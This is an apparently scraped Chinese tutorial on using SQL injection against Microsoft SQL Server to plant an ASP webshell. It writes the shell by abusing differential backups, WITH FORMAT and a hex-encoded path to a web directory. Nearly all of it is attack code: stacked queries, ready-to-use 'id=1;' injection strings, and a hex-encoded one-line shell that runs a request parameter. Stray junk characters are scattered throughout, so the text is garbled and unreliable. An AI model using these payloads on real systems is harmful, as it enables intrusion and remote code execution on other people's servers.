3 I3 P: y# `' P! l7 B一利用差异备份 4 J% n7 ~( a5 D; Q/ K" i, d加一个参数WITH DIFFERENTIAL ; Q+ i4 ~& q: A( @ 2 s7 h. o8 u' w1 h; C' kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s 6 ~. |( N& K( z8 v, q3 Z# m' h3 [9 Hcreate table [dbo].[xiaolu] ([cmd] [image]);! B3 Y) Q- y! q0 l; T' x9 y0 Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) 2 Q$ q& a B% b) F4 {: P* b6 Ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL9 d4 n1 V# M, c, |, r
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二利用完全FORMAT / g* ?! b$ m/ f8 i5 [加一个参数WITH FROMAT% p m' \2 {0 S& ^% t7 H: o
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以 X& L" ]6 o, N1 @: I6 ?' V* R7 C W
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s 0 X9 J/ S7 v8 t& e- u' N, D9 [create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) i4 Z: W2 X8 _8 mdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT / U7 s0 D* \4 m# c7 l1 W $ ?$ b: X) ?) w: X. x总的来说就是那么简单几句,下面以备份数据库model为例子( z7 m' R- _" t) I+ ^9 U
; f8 m0 D% q; k% L" ]0 ] aid=1;use model create table cmd(str image);insert into cmd(str) values (”) 9 b A) `( P' G! b6 v/ o' s8 L) O+ d% |5 _! f
id=1;backup database model to disk=’你的路径‘ with differential,format;– 3 l' }: x- e4 U+ ~1 ^ & M( Y- L* X- c$ H9 \- R9 p